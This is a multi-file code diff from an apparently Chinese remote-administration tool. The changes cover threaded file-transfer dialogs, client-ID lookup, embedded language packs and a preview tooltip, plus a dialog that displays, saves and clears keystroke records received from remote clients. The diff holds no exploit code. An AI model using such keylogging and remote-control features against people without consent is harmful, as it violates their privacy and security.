// TODO: Add your command handler code here // TODO: Add your command handler code here
@@ -2596,10 +2711,87 @@ void CFileManagerDlg::OnLocalStop()
void CFileManagerDlg::PostNcDestroy() void CFileManagerDlg::PostNcDestroy()
{ {
// TODO: Add your specialized code here and/or call the base class // 清理 V2 接收进度框:注意 CDialogBase::PostNcDestroy 写死 `delete this`
// 对话框关窗时会自删——这里**不能** delete否则双重释放。
// 用 HWND 而非 ptr 判活避免野指针SendMessage(WM_CLOSE) 让它走自己关闭路径。
for (auto& entry : m_FileRecvDlgs) {
HWND hWnd = entry.second.first;
if (hWnd && ::IsWindow(hWnd)) {
::SendMessage(hWnd, WM_CLOSE, 0, 0);
}
}
m_FileRecvDlgs.clear();
__super::PostNcDestroy(); __super::PostNcDestroy();
} }
// V2 下载远程→本地chunk 处理UI 线程上执行,安全创建/操作进度框
LRESULT CFileManagerDlg::OnRecvFileV2Chunk(WPARAM wParam, LPARAM /*lParam*/)
{
auto* payload = (std::pair<std::vector<BYTE>, uint64_t>*)wParam;
if (!payload) return 0;
BYTE* szBuffer = payload->first.data();
size_t len = payload->first.size();
uint64_t transferID = payload->second;
FileChunkPacketV2* pkt = (FileChunkPacketV2*)szBuffer;
// 按 transferID 懒加载/复用进度框
// 注意CDlgFileSend 的 PostNcDestroy 自删CDialogBase 默认行为),
// 窗口被自动关闭后 dlg 是野指针HWND 失效是唯一可信号——重建即可,
// 旧 ptr 不再访问、不能 delete。
auto& entry = m_FileRecvDlgs[transferID];
CDlgFileSend* dlg = entry.second;
if (dlg == nullptr || !::IsWindow(entry.first)) {
dlg = new CDlgFileSend(g_2015RemoteDlg, m_ContextObject->GetServer(),
m_ContextObject, FALSE);
dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
dlg->SetWindowTextA(_TR("接收文件 (V2)"));
dlg->ShowWindow(SW_SHOW);
dlg->m_bKeepConnection = TRUE; // FileManager 子连接复用,对话框关闭时不断开
entry = { dlg->GetSafeHwnd(), dlg };
}
// 落盘
std::string hash = GetPwdHash(), hmac = GetHMAC(100);
int n = RecvFileChunkV2((char*)szBuffer, len, nullptr, nullptr, hash, hmac, 0);
if (n) {
Mprintf("[FileManager] RecvFileChunkV2 failed: %d\n", n);
}
// 进度
BYTE* name = szBuffer + sizeof(FileChunkPacketV2);
dlg->UpdateProgress(CString((char*)name, (int)pkt->nameLength), FileProgressInfo(pkt));
delete payload;
return 0;
}
// V2 文件完成校验UI 线程
LRESULT CFileManagerDlg::OnRecvFileV2Complete(WPARAM wParam, LPARAM /*lParam*/)
{
auto* payload = (std::pair<std::vector<BYTE>, uint64_t>*)wParam;
if (!payload) return 0;
BYTE* szBuffer = payload->first.data();
size_t len = payload->first.size();
uint64_t transferID = payload->second;
bool verifyOk = HandleFileCompleteV2((const char*)szBuffer, len, 0);
Mprintf("[FileManager] V2 文件校验%s\n", verifyOk ? "通过" : "失败");
// 关闭对应进度框
auto it = m_FileRecvDlgs.find(transferID);
if (it != m_FileRecvDlgs.end()) {
if (::IsWindow(it->second.first)) {
it->second.second->FinishFileSend(verifyOk);
}
m_FileRecvDlgs.erase(it);
}
delete payload;
return 0;
}
void CFileManagerDlg::SendTransferMode() void CFileManagerDlg::SendTransferMode()
{ {
CFileTransferModeDlg dlg(this); CFileTransferModeDlg dlg(this);
@@ -3125,18 +3317,19 @@ void CFileManagerDlg::OnTransferV2ToRemote()
// 通知客户端目标目录(使用远程当前目录) // 通知客户端目标目录(使用远程当前目录)
// 由 SendFilesToClientV2 内部的 COMMAND_C2C_PREPARE 处理 // 由 SendFilesToClientV2 内部的 COMMAND_C2C_PREPARE 处理
// 调用V2传输 - 需要通过IP找到主连接m_ContextObject是子连接 // 调用V2传输 - 通过 clientID 找主连接m_ContextObject 是子连接)
if (g_2015RemoteDlg && m_ContextObject) { // 不能用 GetPeerName() + FindHostByIPNAT/frpc/反代场景下子连接的 socket peer
// 通过子连接的IP地址找到主连接 // 常是 127.0.0.1 或内网地址,跟主连接登录时存的 RES_CLIENT_PUBIP 对不上,
std::string peerIP = m_ContextObject->GetPeerName(); // 会找到错误的 ctx 或返回 NULL剪贴板 V2 走 FindHost(clientID) 没此问题)。
context* mainCtx = g_2015RemoteDlg->FindHostByIP(peerIP); if (g_2015RemoteDlg) {
uint64_t clientID = GetClientID();
context* mainCtx = clientID ? g_2015RemoteDlg->FindHost(clientID) : nullptr;
if (mainCtx) { if (mainCtx) {
// 使用远程当前目录作为目标目录
std::string remoteDir = m_Remote_Path.GetString(); std::string remoteDir = m_Remote_Path.GetString();
g_2015RemoteDlg->SendFilesToClientV2(mainCtx, files, remoteDir); g_2015RemoteDlg->SendFilesToClientV2(mainCtx, files, remoteDir);
ShowMessage(_TRF("V2传输已启动共 %d 个文件 -> %s"), (int)files.size(), remoteDir.c_str()); ShowMessage(_TRF("V2传输已启动共 %d 个文件 -> %s"), (int)files.size(), remoteDir.c_str());
} else { } else {
ShowMessage(_TRF("找不到主连接: %s"), peerIP.c_str()); ShowMessage(_TRF("找不到主连接: clientID=%llu"), clientID);
} }
} }
} }

View File

@@ -7,6 +7,7 @@
#include "IOCPServer.h" #include "IOCPServer.h"
#include "SortListCtrl.h" #include "SortListCtrl.h"
#include "../../common/locker.h"
#include <map> #include <map>
#include <string> #include <string>
#include <vector> #include <vector>
@@ -35,6 +36,8 @@
#define WM_MY_MESSAGE (WM_USER+300) #define WM_MY_MESSAGE (WM_USER+300)
#define WM_LOCAL_SEARCH_DONE (WM_USER+302) #define WM_LOCAL_SEARCH_DONE (WM_USER+302)
#define WM_LOCAL_SEARCH_PROGRESS (WM_USER+303) #define WM_LOCAL_SEARCH_PROGRESS (WM_USER+303)
#define WM_RECVFILEV2_CHUNK (WM_USER+304)
#define WM_RECVFILEV2_COMPLETE (WM_USER+305)
// FileManagerDlg.h : header file // FileManagerDlg.h : header file
// //
@@ -246,10 +249,12 @@ protected:
afx_msg void OnLocalDownloads(); afx_msg void OnLocalDownloads();
afx_msg void OnLocalHome(); afx_msg void OnLocalHome();
afx_msg void OnLocalSearch(); afx_msg void OnLocalSearch();
afx_msg void OnLocalHistory();
afx_msg void OnRemoteDesktop(); afx_msg void OnRemoteDesktop();
afx_msg void OnRemoteDownloads(); afx_msg void OnRemoteDownloads();
afx_msg void OnRemoteHome(); afx_msg void OnRemoteHome();
afx_msg void OnRemoteSearch(); afx_msg void OnRemoteSearch();
afx_msg void OnRemoteHistory();
afx_msg void OnTransferV2ToRemote(); // V2: 本地文件传输到远程 afx_msg void OnTransferV2ToRemote(); // V2: 本地文件传输到远程
afx_msg void OnTransferV2ToLocal(); // V2: 远程文件传输到本地 afx_msg void OnTransferV2ToLocal(); // V2: 远程文件传输到本地
//}}AFX_MSG //}}AFX_MSG
@@ -266,6 +271,15 @@ protected:
void DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList); void DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList);
private: private:
bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位 bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位
// V2 下载远程→本地FileManager 子连接的 NotifyProc 在 worker 线程上
// 直接调 OnReceiveComplete不能在那里 new 进度框(窗口创建在 worker 线程
// 没有消息泵PostMessage 投不出去)。把 chunk 数据拷贝出来 PostMessage 回
// 自己UI 线程)处理,参考 ScreenSpyDlg 同样的模式。按 transferID 维护进度框。
std::map<uint64_t, std::pair<HWND, class CDlgFileSend*>> m_FileRecvDlgs;
afx_msg LRESULT OnRecvFileV2Chunk(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnRecvFileV2Complete(WPARAM wParam, LPARAM lParam);
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath); bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
void SendTransferMode(); void SendTransferMode();
void SendFileData(); void SendFileData();
@@ -274,6 +288,14 @@ private:
void EnableControl(BOOL bEnable = TRUE); void EnableControl(BOOL bEnable = TRUE);
void CollectFilesRecursive(const std::string& dirPath, std::vector<std::string>& files); void CollectFilesRecursive(const std::string& dirPath, std::vector<std::string>& files);
float m_fScalingFactor; float m_fScalingFactor;
// 历史路径记录(静态,跨实例共享)
static CString s_strLocalHistoryPath;
static std::map<uint64_t, CString> s_mapRemoteHistoryPath;
static CLock s_lockHistory; // 保护历史路径的锁
// 获取有效的客户端ID优先用 m_ClientID否则通过 IP 找主连接)
uint64_t GetClientID() const;
public: public:
afx_msg void OnFilemangerCompress(); afx_msg void OnFilemangerCompress();
afx_msg void OnFilemangerUncompress(); afx_msg void OnFilemangerUncompress();

View File

@@ -228,8 +228,12 @@ public:
{ {
return m_bIsClosed; return m_bIsClosed;
} }
uint64_t GetClientID() const { virtual uint64_t GetClientID() const {
return m_ClientID; // 优先用 UpdateContext 设过的 m_ClientID重连场景否则取子连接 ctx 自身的 ID。
// 子连接通过 TOKEN_CONN_AUTH 通过校验后ctx->GetClientID() 已被钉成主连接的 clientID
// 这样 dialog 拿到的 ID 既准确又免去 IP 反查兜底NAT/127.0.0.1 场景靠谱)。
if (m_ClientID != 0) return m_ClientID;
return m_ContextObject ? m_ContextObject->GetClientID() : 0;
} }
BOOL SayByeBye() BOOL SayByeBye()
{ {

View File

@@ -3,7 +3,9 @@
#include "stdafx.h" #include "stdafx.h"
#include <WinUser.h> #include <WinUser.h>
#include <string>
#include "KeyBoardDlg.h" #include "KeyBoardDlg.h"
#include "2015RemoteDlg.h" // GetClientEncoding helper
#ifdef _DEBUG #ifdef _DEBUG
#define new DEBUG_NEW #define new DEBUG_NEW
@@ -22,7 +24,18 @@ static char THIS_FILE[] = __FILE__;
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext) CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD) : DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
{ {
m_bIsOfflineRecord = (BYTE)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[1]; m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1);
// 子连接从协议扩展字段byte 2-3拿到能力位写入自身的 CAPABILITIES。
// 这样 m_ContextObject->SupportsUtf8() 可直接生效,不再依赖 IP 反查主连接。
// 老客户端只发 2 字节GetBYTE 越界返回 0等同 caps=0 -> 走 CP936 兜底,向后兼容。
WORD caps = m_ContextObject->m_DeCompressionBuffer.GetBYTE(2)
| (m_ContextObject->m_DeCompressionBuffer.GetBYTE(3) << 8);
if (caps != 0) {
CString capStr;
capStr.Format(_T("%04X"), caps);
m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr);
}
} }
@@ -73,6 +86,32 @@ BOOL CKeyBoardDlg::OnInitDialog()
UpdateTitle(); UpdateTitle();
// -----------------------------------------------------------------
// 把 m_edit 重建为 Unicode 类窗口。
// 工程是 MBCSMFC 默认用 A 版 CreateWindowEx 创建子控件,导致即便
// 调 SendMessageW(EM_REPLACESEL,...) 系统也会在 W->A 边界用 CP_ACP
// 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建
// 后,控件内部以 Unicode 存储W 版消息直通,不再走 CP_ACP。
// -----------------------------------------------------------------
{
CRect rc;
m_edit.GetWindowRect(&rc);
ScreenToClient(&rc);
DWORD style = m_edit.GetStyle();
DWORD exStyle = m_edit.GetExStyle();
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
UINT ctrlID = m_edit.GetDlgCtrlID();
m_edit.DestroyWindow();
HWND hEdit = ::CreateWindowExW(
exStyle, L"EDIT", L"", style,
rc.left, rc.top, rc.Width(), rc.Height(),
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
AfxGetInstanceHandle(), NULL);
m_edit.Attach(hEdit);
if (hFont)
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
}
m_edit.SetLimitText(MAXDWORD); // 设置最大长度 m_edit.SetLimitText(MAXDWORD); // 设置最大长度
// 通知远程控制端对话框已经打开 // 通知远程控制端对话框已经打开
@@ -110,9 +149,33 @@ void CKeyBoardDlg::AddKeyBoardData()
{ {
// 最后填上0 // 最后填上0
m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1); m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
int len = m_edit.GetWindowTextLength(); const char* utf8 = (const char*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1);
m_edit.SetSel(len, len); if (!utf8 || !utf8[0])
m_edit.ReplaceSel((TCHAR *)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); return;
// 客户端编码由能力位 CLIENT_CAP_UTF8 决定。
// 注意m_ContextObject 是键盘记录子连接,其自身 CAPABILITIES 为空;
// helper 内部通过 peer IP 查主连接获取真正的能力位。
UINT cp = GetClientEncoding(m_ContextObject);
int wlen = MultiByteToWideChar(cp, 0, utf8, -1, NULL, 0);
if (wlen <= 1)
return;
std::wstring wbuf(wlen - 1, L'\0');
MultiByteToWideChar(cp, 0, utf8, -1, &wbuf[0], wlen);
// 全程走 W 版消息直通 Unicode 控件。注意几个坑:
// 1) MFC 的 m_edit.SetSel(...) 默认走 ::SendMessage (A 版) 并紧跟一次
// EM_SCROLLCARET时序变成 "SetSel→ScrollCaret→ReplaceSel",即
// 先滚到旧末尾、再插入,部分场景控件状态会错乱(光标不在末尾、
// 用户手动移动光标后插入位置不对等)。
// 2) EM_SETSEL 用 0x7FFFFFFF 表示"末尾",由控件自行 clamp 到当前长度,
// 不依赖 WM_GETTEXTLENGTH 计算结果。
// 3) ReplaceSel 后再 ScrollCaret确保滚到 *新* 末尾。
HWND hEdit = m_edit.GetSafeHwnd();
if (!hEdit) return;
::SendMessageW(hEdit, EM_SETSEL, (WPARAM)0x7FFFFFFF, (LPARAM)0x7FFFFFFF);
::SendMessageW(hEdit, EM_REPLACESEL, FALSE, (LPARAM)wbuf.c_str());
::SendMessageW(hEdit, EM_SCROLLCARET, 0, 0);
} }
bool CKeyBoardDlg::SaveRecord() bool CKeyBoardDlg::SaveRecord()
@@ -129,10 +192,30 @@ bool CKeyBoardDlg::SaveRecord()
MessageBox(msg, _TR("提示"), MB_ICONINFORMATION); MessageBox(msg, _TR("提示"), MB_ICONINFORMATION);
return false; return false;
} }
// Write the DIB header and the bits
CString strRecord; // m_edit 已是 Unicode 控件:用 W 版取宽字符串,转 UTF-8 写入并加 BOM。
m_edit.GetWindowText(strRecord); // 这样保存的文件无视服务端 ACP记事本/VS Code 等都能自动识别。
file.Write(strRecord, strRecord.GetLength()); int wlen = ::GetWindowTextLengthW(m_edit.GetSafeHwnd());
std::wstring wbuf;
if (wlen > 0) {
wbuf.resize(wlen);
::GetWindowTextW(m_edit.GetSafeHwnd(), &wbuf[0], wlen + 1);
}
// UTF-8 BOM
const BYTE bom[3] = { 0xEF, 0xBB, 0xBF };
file.Write(bom, 3);
if (!wbuf.empty()) {
int u8len = WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
NULL, 0, NULL, NULL);
if (u8len > 0) {
std::string u8(u8len, '\0');
WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
&u8[0], u8len, NULL, NULL);
file.Write(u8.data(), (UINT)u8.size());
}
}
file.Close(); file.Close();
return true; return true;
@@ -156,7 +239,8 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
} else if (nID == IDM_CLEAR_RECORD) { } else if (nID == IDM_CLEAR_RECORD) {
BYTE bToken = COMMAND_KEYBOARD_CLEAR; BYTE bToken = COMMAND_KEYBOARD_CLEAR;
m_ContextObject->Send2Client(&bToken, 1); m_ContextObject->Send2Client(&bToken, 1);
m_edit.SetWindowText(""); // m_edit 是 Unicode 类控件,调 W 版避免 CP_ACP 边界转换
::SetWindowTextW(m_edit.GetSafeHwnd(), L"");
} else if (nID == IDM_SAVE_RECORD) { } else if (nID == IDM_SAVE_RECORD) {
SaveRecord(); SaveRecord();
} else { } else {

View File

@@ -1,11 +1,13 @@
#pragma once #pragma once
#include <map> #include <map>
#include <set>
#include <string> #include <string>
#include <vector> #include <vector>
#include <locale.h> #include <locale.h>
#include <afxwin.h> #include <afxwin.h>
#include "common/IniParser.h" #include "common/IniParser.h"
#include "resource.h" // 用于内嵌语言资源 ID
// 设置线程区域为简体中文 // 设置线程区域为简体中文
// 这样 MBCS 程序在非中文系统上创建对话框时,也能正确解码 RC 资源中的 GBK 中文 // 这样 MBCS 程序在非中文系统上创建对话框时,也能正确解码 RC 资源中的 GBK 中文
@@ -55,17 +57,20 @@ public:
} else { } else {
m_langDir = langDir; m_langDir = langDir;
} }
// 确保目录存在
CreateDirectory(m_langDir, NULL);
} }
// 获取可用的语言列表 // 获取可用的语言列表(包括内嵌语言)
std::vector<CString> GetAvailableLanguages() std::vector<CString> GetAvailableLanguages()
{ {
std::vector<CString> langs; std::vector<CString> langs;
CString searchPath = m_langDir + _T("\\*.ini"); std::set<CString> langSet; // 用于去重
// 1. 添加内嵌语言(始终可用)
langSet.insert(_T("en_US"));
langSet.insert(_T("zh_TW"));
// 2. 扫描磁盘上的语言文件
CString searchPath = m_langDir + _T("\\*.ini");
WIN32_FIND_DATA fd; WIN32_FIND_DATA fd;
HANDLE hFind = FindFirstFile(searchPath, &fd); HANDLE hFind = FindFirstFile(searchPath, &fd);
if (hFind != INVALID_HANDLE_VALUE) { if (hFind != INVALID_HANDLE_VALUE) {
@@ -73,30 +78,43 @@ public:
CString filename(fd.cFileName); CString filename(fd.cFileName);
int dotPos = filename.ReverseFind(_T('.')); int dotPos = filename.ReverseFind(_T('.'));
if (dotPos > 0) { if (dotPos > 0) {
langs.push_back(filename.Left(dotPos)); langSet.insert(filename.Left(dotPos));
} }
} while (FindNextFile(hFind, &fd)); } while (FindNextFile(hFind, &fd));
FindClose(hFind); FindClose(hFind);
} }
// 转为 vector 返回
for (const auto& lang : langSet) {
langs.push_back(lang);
}
return langs; return langs;
} }
// 检查语言文件编码是否为 ANSI // 检查语言文件编码是否为 ANSI
// 返回 false 表示文件不存在或编码不是 ANSI检测 BOM 和 UTF-8 无 BOM // 返回 false 表示编码不是 ANSI检测 BOM 和 UTF-8 无 BOM
// 内嵌语言en_US, zh_TW直接返回 true
bool CheckEncoding(const CString& langCode) bool CheckEncoding(const CString& langCode)
{ {
// 中文模式无需检查
if (langCode == _T("zh_CN") || langCode.IsEmpty()) { if (langCode == _T("zh_CN") || langCode.IsEmpty()) {
TRACE("[LangEnc] zh_CN or empty, skip check\n"); TRACE("[LangEnc] zh_CN or empty, skip check\n");
return true; return true;
} }
// 内嵌语言无需检查(已确保编码正确)
if (langCode == _T("en_US") || langCode == _T("zh_TW")) {
TRACE("[LangEnc] builtin language, skip check\n");
return true;
}
CString langFile = m_langDir + _T("\\") + langCode + _T(".ini"); CString langFile = m_langDir + _T("\\") + langCode + _T(".ini");
TRACE("[LangEnc] Checking: %s\n", (LPCSTR)langFile); TRACE("[LangEnc] Checking: %s\n", (LPCSTR)langFile);
FILE* f = nullptr; FILE* f = nullptr;
if (fopen_s(&f, (LPCSTR)langFile, "rb") != 0 || !f) { if (fopen_s(&f, (LPCSTR)langFile, "rb") != 0 || !f) {
TRACE("[LangEnc] fopen failed\n"); TRACE("[LangEnc] fopen failed\n");
return false; return false; // 非内嵌语言必须有磁盘文件
} }
// 读取文件内容(最多检测前 4KB 即可判断) // 读取文件内容(最多检测前 4KB 即可判断)
@@ -164,26 +182,103 @@ public:
} }
// 加载语言文件 // 加载语言文件
// 优先从内嵌资源加载,然后用磁盘文件覆盖(如果存在)
bool Load(const CString& langCode) bool Load(const CString& langCode)
{ {
m_strings.clear(); m_strings.clear();
m_currentLang = langCode; m_currentLang = langCode;
// 如果是中文,不需要加载翻译 // 中文模式:检查是否有补丁文件
if (langCode == _T("zh_CN") || langCode.IsEmpty()) { if (langCode == _T("zh_CN") || langCode.IsEmpty()) {
// 尝试加载中文补丁文件(可选)
CString patchFile = m_langDir + _T("\\zh_CN.ini");
if (GetFileAttributes(patchFile) != INVALID_FILE_ATTRIBUTES) {
CIniParser ini;
if (ini.LoadFile((LPCSTR)patchFile)) {
const CIniParser::TKeyVal* pSection = ini.GetSection("Strings");
if (pSection) {
for (const auto& kv : *pSection) {
m_strings[CString(kv.first.c_str())] = CString(kv.second.c_str());
}
}
TRACE("[Lang] Loaded zh_CN patch: %d strings\n", (int)m_strings.size());
}
}
return true; return true;
} }
CString langFile = m_langDir + _T("\\") + langCode + _T(".ini"); // 1. 先从内嵌资源加载(英语和繁体中文)
bool hasBuiltin = LoadFromResource(langCode);
// 检查文件是否存在 // 2. 再从磁盘文件加载(覆盖内嵌翻译)
if (GetFileAttributes(langFile) == INVALID_FILE_ATTRIBUTES) { CString langFile = m_langDir + _T("\\") + langCode + _T(".ini");
if (GetFileAttributes(langFile) != INVALID_FILE_ATTRIBUTES) {
CIniParser ini;
// 如果有内嵌资源,使用追加模式覆盖;否则使用普通加载
if (hasBuiltin) {
// 追加模式:磁盘文件中的翻译会覆盖内嵌翻译
if (ini.LoadFile((LPCSTR)langFile)) {
const CIniParser::TKeyVal* pSection = ini.GetSection("Strings");
if (pSection) {
for (const auto& kv : *pSection) {
m_strings[CString(kv.first.c_str())] = CString(kv.second.c_str());
}
}
TRACE("[Lang] Loaded disk file (override): %s\n", (LPCSTR)langFile);
}
} else {
// 无内嵌资源,直接从磁盘加载
if (ini.LoadFile((LPCSTR)langFile)) {
const CIniParser::TKeyVal* pSection = ini.GetSection("Strings");
if (pSection) {
for (const auto& kv : *pSection) {
m_strings[CString(kv.first.c_str())] = CString(kv.second.c_str());
}
}
TRACE("[Lang] Loaded disk file: %s\n", (LPCSTR)langFile);
return true;
}
}
}
return hasBuiltin || !m_strings.empty();
}
// 从内嵌资源加载语言数据
bool LoadFromResource(const CString& langCode)
{
UINT resID = 0;
if (langCode == _T("en_US")) {
resID = IDR_LANG_EN_US;
} else if (langCode == _T("zh_TW")) {
resID = IDR_LANG_ZH_TW;
} else {
return false; // 无内嵌资源
}
HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(resID), RT_RCDATA);
if (!hRes) {
TRACE("[Lang] Resource not found: %d\n", resID);
return false; return false;
} }
// 使用 CIniParser 解析,无文件大小限制,且不 trim key HGLOBAL hData = LoadResource(NULL, hRes);
if (!hData) {
TRACE("[Lang] Failed to load resource: %d\n", resID);
return false;
}
const char* data = (const char*)LockResource(hData);
DWORD size = SizeofResource(NULL, hRes);
if (!data || size == 0) {
TRACE("[Lang] Empty resource: %d\n", resID);
return false;
}
// 使用 CIniParser 从内存解析
CIniParser ini; CIniParser ini;
if (!ini.LoadFile((LPCSTR)langFile)) { if (!ini.LoadFromMemory(data, size)) {
TRACE("[Lang] Failed to parse resource: %d\n", resID);
return false; return false;
} }
@@ -194,6 +289,8 @@ public:
} }
} }
TRACE("[Lang] Loaded builtin resource: %s (%d strings)\n",
(LPCSTR)langCode, (int)m_strings.size());
return true; return true;
} }
@@ -625,24 +722,24 @@ protected:
AppendData(&dlgTemplate, sizeof(DLGTEMPLATE)); AppendData(&dlgTemplate, sizeof(DLGTEMPLATE));
AppendWord(0); // 菜单 AppendWord(0); // 菜单
AppendWord(0); // 窗口类 AppendWord(0); // 窗口类
AppendString(_T("选择语言 / Select Language")); AppendString(_T("Select Language"));
AlignToDword(); AlignToDword();
// 静态文本 // 静态文本
AddControl(0x0082, 15, 15, 40, 12, (WORD)-1, AddControl(0x0082, 15, 15, 50, 12, (WORD)-1,
SS_LEFT | WS_CHILD | WS_VISIBLE, _T("语言:")); SS_LEFT | WS_CHILD | WS_VISIBLE, _T("Language:"));
// ComboBox // ComboBox
AddControl(0x0085, 55, 13, 130, 150, 1001, AddControl(0x0085, 65, 13, 120, 150, 1001,
CBS_DROPDOWNLIST | WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL, _T("")); CBS_DROPDOWNLIST | WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL, _T(""));
// 确定按钮 // OK 按钮
AddControl(0x0080, 45, 50, 50, 14, IDOK, AddControl(0x0080, 45, 50, 50, 14, IDOK,
BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("确定")); BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("OK"));
// 取消按钮 // Cancel 按钮
AddControl(0x0080, 105, 50, 50, 14, IDCANCEL, AddControl(0x0080, 105, 50, 50, 14, IDCANCEL,
BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("取消")); BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("Cancel"));
return (LPCDLGTEMPLATE)m_templateBuffer.data(); return (LPCDLGTEMPLATE)m_templateBuffer.data();
} }
@@ -703,8 +800,8 @@ protected:
m_comboLang.SubclassDlgItem(1001, this); m_comboLang.SubclassDlgItem(1001, this);
// 添加简体中文 // 添加简体中文(显示为英语避免乱码)
int idx = m_comboLang.AddString(_T("简体中文")); int idx = m_comboLang.AddString(GetLanguageDisplayName(_T("zh_CN")));
m_langCodes.push_back(_T("zh_CN")); m_langCodes.push_back(_T("zh_CN"));
m_comboLang.SetItemData(idx, 0); m_comboLang.SetItemData(idx, 0);

View File

@@ -0,0 +1,243 @@
// PreviewTipWnd.cpp
#include "stdafx.h"
#include "PreviewTipWnd.h"
#include <objidl.h> // IUnknown / IStream — gdiplus.h 依赖它们已声明
#include <gdiplus.h>
#pragma comment(lib, "gdiplus.lib")
using namespace Gdiplus;
namespace {
constexpr int PADDING = 8;
constexpr int IMAGE_TEXT_GAP = 6; // 图像与下方文本之间的留白
constexpr int MIN_TEXT_W = 360;
constexpr int MAX_TEXT_W = 720; // 文本可换行宽度上限(垂直布局,宽度不再受图像挤压)
constexpr int MAX_IMAGE_W = 960; // 显示上限(防止 LAN 档 1280 的 JPEG 把窗口顶到屏幕外)
constexpr int LOADING_W = 480; // 占位的最小宽度(图像未到达时)
constexpr int LOADING_H = 270;
} // namespace
BEGIN_MESSAGE_MAP(CPreviewTipWnd, CWnd)
ON_WM_PAINT()
ON_WM_ERASEBKGND()
END_MESSAGE_MAP()
CPreviewTipWnd::CPreviewTipWnd() = default;
CPreviewTipWnd::~CPreviewTipWnd()
{
// m_image 通过 unique_ptr 自动释放
}
BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW)
{
m_text = text;
m_imageReserveW = imageReserveW > 0 ? min(imageReserveW, MAX_IMAGE_W) : 0;
m_imageReserveH = m_imageReserveW > 0 ? (m_imageReserveW * 9 / 16) : 0;
if (m_imageReserveW > 0 && m_imageReserveW < LOADING_W) {
m_imageReserveW = LOADING_W;
m_imageReserveH = LOADING_H;
}
// 创建字体(项目是 MBCS但浮窗用宽字符显式 LOGFONTW + W 版 API 避免编码混淆)
LOGFONTW lf = {};
HFONT hSysFont = (HFONT)::GetStockObject(DEFAULT_GUI_FONT);
if (hSysFont && ::GetObjectW(hSysFont, sizeof(lf), &lf) == 0) {
hSysFont = nullptr;
}
if (!hSysFont) {
lf.lfHeight = -12;
wcscpy_s(lf.lfFaceName, L"Microsoft YaHei");
}
HFONT hF = ::CreateFontIndirectW(&lf);
if (hF) m_font.Attach(hF);
// 注册自绘窗口类:用 MFC 的 AfxRegisterWndClass 确保和 MFC 子类化机制兼容
LPCTSTR kClass = AfxRegisterWndClass(
CS_SAVEBITS,
::LoadCursor(NULL, IDC_ARROW),
(HBRUSH)(COLOR_INFOBK + 1),
NULL);
// 临时尺寸RecalcLayoutAndResize 会在创建后调整
CRect rc(anchor.x, anchor.y, anchor.x + 400, anchor.y + 200);
BOOL bOk = CWnd::CreateEx(
WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE,
kClass, _T(""),
WS_POPUP | WS_BORDER,
rc, pParent, 0);
if (!bOk) return FALSE;
RecalcLayoutAndResize();
ShowWindow(SW_SHOWNOACTIVATE);
return TRUE;
}
void CPreviewTipWnd::SetImageFromJpeg(const BYTE* data, size_t bytes)
{
if (!data || bytes == 0) return;
HGLOBAL hMem = ::GlobalAlloc(GMEM_MOVEABLE, bytes);
if (!hMem) return;
void* p = ::GlobalLock(hMem);
if (!p) { ::GlobalFree(hMem); return; }
memcpy(p, data, bytes);
::GlobalUnlock(hMem);
IStream* stream = nullptr;
if (FAILED(::CreateStreamOnHGlobal(hMem, TRUE, &stream))) {
::GlobalFree(hMem);
return;
}
std::unique_ptr<Bitmap> bmp(new Bitmap(stream, FALSE));
stream->Release(); // CreateStreamOnHGlobal(..., TRUE) 释放 stream 时会释放 hMem
if (!bmp || bmp->GetLastStatus() != Ok) {
return;
}
m_image = std::move(bmp);
m_hasImage = true;
m_unavailable = false;
RecalcLayoutAndResize();
if (GetSafeHwnd()) Invalidate();
}
void CPreviewTipWnd::MarkPreviewUnavailable()
{
if (m_hasImage) return; // 已经有图就不再覆盖
m_unavailable = true;
if (GetSafeHwnd()) Invalidate();
}
void CPreviewTipWnd::RecalcLayoutAndResize()
{
HWND hWnd = GetSafeHwnd();
if (!hWnd) return;
// 估算图像尺寸(先算图像,因为文本宽度要参考图像宽度对齐)
if (m_image) {
int iw = (int)m_image->GetWidth();
int ih = (int)m_image->GetHeight();
if (iw > MAX_IMAGE_W) {
ih = (int)((double)ih * MAX_IMAGE_W / iw + 0.5);
iw = MAX_IMAGE_W;
}
m_imageDrawW = iw;
m_imageDrawH = ih;
} else {
